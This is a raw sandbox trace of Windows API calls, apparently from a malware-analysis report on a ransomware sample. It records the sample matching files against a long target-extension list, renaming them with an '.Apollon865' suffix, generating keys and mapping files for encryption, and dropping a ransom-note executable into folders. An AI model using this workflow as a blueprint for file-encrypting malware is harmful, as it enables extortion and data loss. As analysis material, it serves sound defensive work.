	[0053.296] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.296] lstrlenW (lpString="lwx") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.296] lstrlenW (lpString="maf") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.296] lstrlenW (lpString="maq") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.296] lstrlenW (lpString="mar") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.296] lstrlenW (lpString="marshal") returned 7
	[0053.296] lstrcmpiW (lpString1="ews.url", lpString2="marshal") returned -1
	[0053.296] lstrlenW (lpString="mas") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.296] lstrlenW (lpString="mav") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.296] lstrlenW (lpString="maw") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.296] lstrlenW (lpString="mdbhtml") returned 7
	[0053.296] lstrcmpiW (lpString1="ews.url", lpString2="mdbhtml") returned -1
	[0053.296] lstrlenW (lpString="mdn") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.297] lstrlenW (lpString="mdt") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.297] lstrlenW (lpString="mfd") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.297] lstrlenW (lpString="mpd") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.297] lstrlenW (lpString="mrg") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.297] lstrlenW (lpString="mud") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.297] lstrlenW (lpString="mwb") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.297] lstrlenW (lpString="myd") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.297] lstrlenW (lpString="ndf") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.297] lstrlenW (lpString="nnt") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.297] lstrlenW (lpString="nrmlib") returned 6
	[0053.297] lstrcmpiW (lpString1="ws.url", lpString2="nrmlib") returned 1
	[0053.297] lstrlenW (lpString="ns2") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.297] lstrlenW (lpString="ns3") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.297] lstrlenW (lpString="ns4") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.297] lstrlenW (lpString="nsf") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.297] lstrlenW (lpString="nv") returned 2
	[0053.297] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.297] lstrlenW (lpString="nv2") returned 3
	[0053.297] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.297] lstrlenW (lpString="nwdb") returned 4
	[0053.297] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.297] lstrlenW (lpString="nyf") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.298] lstrlenW (lpString="odb") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.298] lstrlenW (lpString="odb") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.298] lstrlenW (lpString="oqy") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.298] lstrlenW (lpString="ora") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.298] lstrlenW (lpString="orx") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.298] lstrlenW (lpString="owc") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.298] lstrlenW (lpString="p96") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.298] lstrlenW (lpString="p97") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.298] lstrlenW (lpString="pan") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.298] lstrlenW (lpString="pdb") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.298] lstrlenW (lpString="pdm") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.298] lstrlenW (lpString="pnz") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.298] lstrlenW (lpString="qry") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.298] lstrlenW (lpString="qvd") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.298] lstrlenW (lpString="rbf") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.298] lstrlenW (lpString="rctd") returned 4
	[0053.298] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.298] lstrlenW (lpString="rod") returned 3
	[0053.298] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.299] lstrlenW (lpString="rodx") returned 4
	[0053.299] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.299] lstrlenW (lpString="rpd") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.299] lstrlenW (lpString="rsd") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.299] lstrlenW (lpString="sas7bdat") returned 8
	[0053.299] lstrcmpiW (lpString1="News.url", lpString2="sas7bdat") returned -1
	[0053.299] lstrlenW (lpString="sbf") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.299] lstrlenW (lpString="scx") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.299] lstrlenW (lpString="sdb") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.299] lstrlenW (lpString="sdc") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.299] lstrlenW (lpString="sdf") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.299] lstrlenW (lpString="sis") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.299] lstrlenW (lpString="spq") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.299] lstrlenW (lpString="te") returned 2
	[0053.299] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.299] lstrlenW (lpString="teacher") returned 7
	[0053.299] lstrcmpiW (lpString1="ews.url", lpString2="teacher") returned -1
	[0053.299] lstrlenW (lpString="tmd") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.299] lstrlenW (lpString="tps") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.299] lstrlenW (lpString="trc") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.299] lstrlenW (lpString="trc") returned 3
	[0053.299] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.299] lstrlenW (lpString="trm") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.300] lstrlenW (lpString="udb") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.300] lstrlenW (lpString="udl") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.300] lstrlenW (lpString="usr") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.300] lstrlenW (lpString="v12") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.300] lstrlenW (lpString="vis") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.300] lstrlenW (lpString="vpd") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.300] lstrlenW (lpString="vvv") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.300] lstrlenW (lpString="wdb") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.300] lstrlenW (lpString="wmdb") returned 4
	[0053.300] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.300] lstrlenW (lpString="wrk") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.300] lstrlenW (lpString="xdb") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.300] lstrlenW (lpString="xld") returned 3
	[0053.300] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.300] lstrlenW (lpString="xmlff") returned 5
	[0053.300] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0053.300] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Apollon865") returned 65
	[0053.300] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.apollon865"), dwFlags=0x1) returned 1
	[0053.301] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.301] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.301] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.302] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.302] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.302] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.304] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.305] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.305] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.306] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.306] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.306] CloseHandle (hObject=0xc0) returned 1
	[0053.306] CloseHandle (hObject=0x118) returned 1
	[0053.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.307] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0
	[0053.307] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0053.307] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0053.307] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites"
	[0053.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0053.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0053.307] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned 45
	[0053.307] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites"
	[0053.307] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.307] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.308] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.308] GetLastError () returned 0x0
	[0053.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.308] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.308] CloseHandle (hObject=0x15c) returned 1
	[0053.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.308] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.308] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e295590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0053.308] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.308] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.308] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.308] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e295590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.308] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.308] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.308] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.308] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.308] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e295590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.308] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.308] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="..") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="windows") returned -1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="bootmgr") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="temp") returned -1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="pagefile.sys") returned -1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="boot") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ids.txt") returned 1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ntuser.dat") returned -1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="perflogs") returned -1
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="MSBuild") returned -1
	[0053.309] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0053.309] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned 47
	[0053.309] lstrcpyW (in: lpString1=0x119e664, lpString2="IE Add-on site.url" | out: lpString1="IE Add-on site.url") returned="IE Add-on site.url"
	[0053.309] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0053.309] lstrlenW (lpString="Apollon865") returned 10
	[0053.309] lstrcmpiW (lpString1="n site.url", lpString2="Apollon865") returned 1
	[0053.309] lstrlenW (lpString=".dll") returned 4
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".dll") returned 1
	[0053.309] lstrlenW (lpString=".lnk") returned 4
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".lnk") returned 1
	[0053.309] lstrlenW (lpString=".ini") returned 4
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".ini") returned 1
	[0053.309] lstrlenW (lpString=".sys") returned 4
	[0053.309] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".sys") returned 1
	[0053.309] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0053.309] lstrlenW (lpString="bak") returned 3
	[0053.309] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.309] lstrlenW (lpString="ba_") returned 3
	[0053.309] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.309] lstrlenW (lpString="dbb") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.310] lstrlenW (lpString="vmdk") returned 4
	[0053.310] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.310] lstrlenW (lpString="rar") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.310] lstrlenW (lpString="zip") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.310] lstrlenW (lpString="tgz") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.310] lstrlenW (lpString="vbox") returned 4
	[0053.310] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.310] lstrlenW (lpString="vdi") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.310] lstrlenW (lpString="vhd") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.310] lstrlenW (lpString="vhdx") returned 4
	[0053.310] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.310] lstrlenW (lpString="avhd") returned 4
	[0053.310] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.310] lstrlenW (lpString="db") returned 2
	[0053.310] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.310] lstrlenW (lpString="db2") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.310] lstrlenW (lpString="db3") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.310] lstrlenW (lpString="dbf") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.310] lstrlenW (lpString="mdf") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.310] lstrlenW (lpString="mdb") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.310] lstrlenW (lpString="sql") returned 3
	[0053.310] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.310] lstrlenW (lpString="sqlite") returned 6
	[0053.310] lstrcmpiW (lpString1="te.url", lpString2="sqlite") returned 1
	[0053.311] lstrlenW (lpString="sqlite3") returned 7
	[0053.311] lstrcmpiW (lpString1="ite.url", lpString2="sqlite3") returned -1
	[0053.311] lstrlenW (lpString="sqlitedb") returned 8
	[0053.311] lstrcmpiW (lpString1="site.url", lpString2="sqlitedb") returned -1
	[0053.311] lstrlenW (lpString="xml") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.311] lstrlenW (lpString="$er") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.311] lstrlenW (lpString="4dd") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.311] lstrlenW (lpString="4dl") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.311] lstrlenW (lpString="^^^") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.311] lstrlenW (lpString="abs") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.311] lstrlenW (lpString="abx") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.311] lstrlenW (lpString="accdb") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0053.311] lstrlenW (lpString="accdc") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0053.311] lstrlenW (lpString="accde") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0053.311] lstrlenW (lpString="accdr") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0053.311] lstrlenW (lpString="accdt") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0053.311] lstrlenW (lpString="accdw") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0053.311] lstrlenW (lpString="accft") returned 5
	[0053.311] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0053.311] lstrlenW (lpString="adb") returned 3
	[0053.311] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.311] lstrlenW (lpString="adb") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.312] lstrlenW (lpString="ade") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.312] lstrlenW (lpString="adf") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.312] lstrlenW (lpString="adn") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.312] lstrlenW (lpString="adp") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.312] lstrlenW (lpString="alf") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.312] lstrlenW (lpString="ask") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.312] lstrlenW (lpString="btr") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.312] lstrlenW (lpString="cat") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.312] lstrlenW (lpString="cdb") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.312] lstrlenW (lpString="ckp") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.312] lstrlenW (lpString="cma") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.312] lstrlenW (lpString="cpd") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.312] lstrlenW (lpString="dacpac") returned 6
	[0053.312] lstrcmpiW (lpString1="te.url", lpString2="dacpac") returned 1
